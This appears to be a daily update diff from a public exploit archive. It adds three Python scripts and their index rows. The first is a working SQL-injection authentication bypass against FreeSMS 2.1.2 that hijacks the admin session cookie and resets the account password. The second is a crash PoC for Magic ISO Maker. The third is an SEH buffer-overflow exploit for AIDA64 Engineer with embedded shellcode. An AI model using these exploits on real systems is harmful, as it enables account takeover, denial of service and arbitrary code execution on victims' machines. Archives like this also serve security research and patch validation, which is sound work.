DB: 2019-04-05

3 changes to exploits/shellcodes

Magic ISO Maker 5.5(build 281) - 'Serial Code' Denial of Service (PoC)

AIDA64 Engineer 5.99.4900 - 'Load from file' Field Buffer Overflow (SEH)

FreeSMS 2.1.2 - SQL Injection (Authentication Bypass)

exploits/php/webapps/46658.py

@@ -0,0 +1,60 @@
+# Exploit Title: FreeSMS 2.1.2 - Authentication Bypass
+# Date: 2019-04-03
+# Exploit Author: Yilmaz Degirmenci
+# Vendor Homepage: https://freesms.sourceforge.io/
+# Software Link: https://sourceforge.net/projects/freesms/
+# Version: v2.1.2
+# Category: Webapps
+# Tested on: LAMPP for Linux
+# Software Description : FreeSMS is a PHP based application to manage an educational facility 
+# of teachers and students alike. It is a teacher and student management system providing marketing, 
+# registration, course management, attendance and a student evaluation system.
+# ==================================================================
+# The "password" parameter has boolean-based blind SQL injection vulnerability.
+# The login panel can be bypassed if the user name is known.
+# SQLDork: pass") RLIKE (SELECT (CASE WHEN (4404=4404) THEN 0x61646d696e74 ELSE 0x28 END)) AND ("WpaN"="WpaN
+# Exploit allows the creation of a new password on the target.
+
+import requests, sys, re, random
+
+if (len(sys.argv) != 2):
+    print "[*] Usage: poc.py <RHOST><RPATH> (192.168.1.20/freesms)"
+    exit(0)
+
+rhost = sys.argv[1]
+
+uname = str(raw_input("User Name: "))
+npass = str(raw_input("New Pass: "))
+
+url = "http://"+rhost+"/pages/crc_handler.php?method=login"
+headers = {"Content-Type": "application/x-www-form-urlencoded"}
+
+data = {"username": ""+uname+"", "password": "pass\") RLIKE (SELECT (CASE WHEN (4404=4404) THEN 0x61646d696e74 ELSE 0x28 END)) AND (\"WpaN\"=\"WpaN", "context": "ou=Don Mills,ou=Toronto,ou=Ontario,ou=Canada,o=CRC World", "login": "login"}
+
+bp = bypass = requests.post(url, headers=headers, data=data)
+
+if bp.status_code == 200:
+  print "Authentication bypass was successful!"
+  print "Trying to change password..."
+else:
+  print "Something went wrong. You should try manual exploitation"
+  sys.exit()
+
+cookies = bypass.headers['Set-Cookie']
+cookie = re.split(r'\s', cookies)[0].replace(';','').replace('crc=','').strip()
+print "Admin Cookie : crc="+cookie+""
+
+
+# Change admin password
+
+purl = "http://"+rhost+"/pages/crc_handler.php?method=profile&func=update"
+pcookies = {"crc": ""+cookie+""}
+pheaders = {"Connection": "close", "Content-Type": "application/x-www-form-urlencoded"}
+pdata={"context": "ou%3DDon+Mills%2Cou%3DToronto%2Cou%3DOntario%2Cou%3DCanada%2Co%3DCRC+World", "profileid": "1", "username": ""+uname+"", "password": ""+npass+"", "fname": "Firstname", "lname": "Lastname", "email": "admin@domain.com", "gender": "Male", "day": "19", "month": "11", "year": "1977", "add1": "Campulung", "add2": '', "city": "Campulung", "province": "AG", "country": "Romania", "pc": "115100", "lcode": "0040", "lprefix": "0000", "lpostfix": "000000", "update": "Update"}
+p = requests.post(purl, headers=pheaders, cookies=pcookies, data=pdata)
+
+if p.status_code == 200:
+  print "New password successfully created! New Password: "+npass+""
+else:
+  print "Something went wrong. You should try manual exploitation"
+  sys.exit()

exploits/windows/dos/46656.py

@@ -0,0 +1,23 @@
+# -*- coding: utf-8 -*-
+# Exploit Title: Magic Iso Maker 5.5(build 281) - "Serial Code" Denial of Service (PoC)
+# Date: 03/04/2019
+# Author: Alejandra Sánchez
+# Vendor Homepage: http://www.magiciso.com
+# Software Link: http://www.magiciso.com/Setup_MagicISO.exe
+# Version: 5.5(build 281)
+# Tested on: Windows 10
+
+# Proof of Concept:
+# 1.- Run the python script "MagicIso.py", it will create a new file "MagicIso.txt"
+# 2.- Copy the text from the generated MagicIso.txt file to clipboard
+# 3.- Open MagicISO.exe
+# 4.- Go to Register
+# 5.- Write any name in the field "User Name", e.g "Anonymous"
+# 6.- Paste clipboard in the field "Serial Code"
+# 7.- Click on button -> Register!
+# 8.- Crashed
+
+buffer = "\x41" * 5000
+f = open ("MagicIso.txt", "w")
+f.write(buffer)
+f.close()

exploits/windows/local/46657.py

@@ -0,0 +1,52 @@
+#!/usr/bin/python
+ 
+###############################################################################
+# Exploit Title:        AIDA64 Engineer 5.99.4900 - 'Load from file' Field Buffer Overflow (SEH)
+# Date:                 04-04-2019
+# Exploit Author:       Anurag Srivastava and Vardan Bansal 
+# Website:    			www.theanuragsrivastava.in
+# Vulnerable Software:  AIDA64 Engineer  
+# Vendor Homepage:      http://download.aida64.com/
+# Version:              5.99.4900
+# Software Link:        http://download.aida64.com/aida64engineer599.exe
+# Tested On:            Windows 7 x64 
+# CVE:					CVE-2019-10843
+#
+# To reproduce the exploit:
+#   1. Click Report
+#   2. In the "Load from a File" field, paste the content of hex.txt
+#
+##############################################################################
+
+buf =  ""
+buf += "\xda\xd7\xd9\x74\x24\xf4\xba\x07\xc8\xf9\x11\x5e\x2b"
+buf += "\xc9\xb1\x31\x31\x56\x18\x03\x56\x18\x83\xee\xfb\x2a"
+buf += "\x0c\xed\xeb\x29\xef\x0e\xeb\x4d\x79\xeb\xda\x4d\x1d"
+buf += "\x7f\x4c\x7e\x55\x2d\x60\xf5\x3b\xc6\xf3\x7b\x94\xe9"
+buf += "\xb4\x36\xc2\xc4\x45\x6a\x36\x46\xc5\x71\x6b\xa8\xf4"
+buf += "\xb9\x7e\xa9\x31\xa7\x73\xfb\xea\xa3\x26\xec\x9f\xfe"
+buf += "\xfa\x87\xd3\xef\x7a\x7b\xa3\x0e\xaa\x2a\xb8\x48\x6c"
+buf += "\xcc\x6d\xe1\x25\xd6\x72\xcc\xfc\x6d\x40\xba\xfe\xa7"
+buf += "\x99\x43\xac\x89\x16\xb6\xac\xce\x90\x29\xdb\x26\xe3"
+buf += "\xd4\xdc\xfc\x9e\x02\x68\xe7\x38\xc0\xca\xc3\xb9\x05"
+buf += "\x8c\x80\xb5\xe2\xda\xcf\xd9\xf5\x0f\x64\xe5\x7e\xae"
+buf += "\xab\x6c\xc4\x95\x6f\x35\x9e\xb4\x36\x93\x71\xc8\x29"
+buf += "\x7c\x2d\x6c\x21\x90\x3a\x1d\x68\xfe\xbd\x93\x16\x4c"
+buf += "\xbd\xab\x18\xe0\xd6\x9a\x93\x6f\xa0\x22\x76\xd4\x5e"
+buf += "\x69\xdb\x7c\xf7\x34\x89\x3d\x9a\xc6\x67\x01\xa3\x44"
+buf += "\x82\xf9\x50\x54\xe7\xfc\x1d\xd2\x1b\x8c\x0e\xb7\x1b"
+buf += "\x23\x2e\x92\x7f\xa2\xbc\x7e\xae\x41\x45\xe4\xae"
+  
+ 
+nSEH = "\xeb\xf9\x90\x90" 
+
+back = "\xe9\xdc\xfe\xff\xff"  # jmp back to start of shellcode
+SEH = "\x23\x02\x1c\x01" #pop ebx # pop eax # ret  | ascii {PAGE_EXECUTE_READWRITE} [aida64.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.99.4900 (C:\Program Files\FinalWire\AIDA64 Engineer\aida64.exe
+
+buffer = "\x41" * (292-len(buf)-len(back))
+padding = "\x42"*(500-292-4-4)
+data = buf + buffer + back + nSEH + SEH + padding
+ 
+f = open ("hex.txt", "w")
+f.write(data)
+f.close()

files_exploits.csv

@@ -6381,6 +6381,7 @@ id,file,description,date,author,type,platform,port
 46651,exploits/multiple/dos/46651.html,"WebKitGTK+ - 'ThreadedCompositor' Race Condition",2019-04-03,"Google Security Research",dos,multiple,
 46652,exploits/multiple/dos/46652.txt,"Google Chrome 72.0.3626.81 - 'V8TrustedTypePolicyOptions::ToImpl' Type Confusion",2019-04-03,"Google Security Research",dos,multiple,
 46653,exploits/multiple/dos/46653.html,"Google Chrome 73.0.3683.39 / Chromium 74.0.3712.0 - 'ReadableStream' Internal Object Leak Type Confusion",2019-04-03,"Google Security Research",dos,multiple,
+46656,exploits/windows/dos/46656.py,"Magic ISO Maker 5.5(build 281) - 'Serial Code' Denial of Service (PoC)",2019-04-04,"Alejandra Sánchez",dos,windows,
 3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux,
 4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris,
 12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux,
@@ -10394,6 +10395,7 @@ id,file,description,date,author,type,platform,port
 46601,exploits/windows/local/46601.txt,"VMware Workstation 14.1.5 / VMware Player 15 - Host VMX Process COM Class Hijack Privilege Escalation",2019-03-25,"Google Security Research",local,windows,
 46625,exploits/windows/local/46625.py,"Base64 Decoder 1.1.2 - Local Buffer Overflow (SEH Egghunter)",2019-03-28,"Paolo Perego",local,windows,
 46636,exploits/windows/local/46636.py,"AIDA64 Extreme / Engineer / Network Audit 5.99.4900 - SEH Buffer Overflow (EggHunter)",2019-04-02,"Peyman Forouzan",local,windows,
+46657,exploits/windows/local/46657.py,"AIDA64 Engineer 5.99.4900 - 'Load from file' Field Buffer Overflow (SEH)",2019-04-04,"Anurag Srivastava",local,windows,
 1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
 2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
 5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139
@@ -41095,3 +41097,4 @@ id,file,description,date,author,type,platform,port
 46642,exploits/php/webapps/46642.txt,"Clinic Pro v4 - 'month' SQL Injection",2019-04-03,"Abdullah Çelebi",webapps,php,80
 46643,exploits/php/webapps/46643.txt,"Ashop Shopping Cart Software - SQL Injection",2019-04-03,"Ahmet Ümit BAYRAM",webapps,php,80
 46644,exploits/php/webapps/46644.txt,"PhreeBooks ERP 5.2.3 - Arbitrary File Upload",2019-04-03,"Abdullah Çelebi",webapps,php,80
+46658,exploits/php/webapps/46658.py,"FreeSMS 2.1.2 - SQL Injection (Authentication Bypass)",2019-04-04,"Yilmaz Degirmenci",webapps,php,80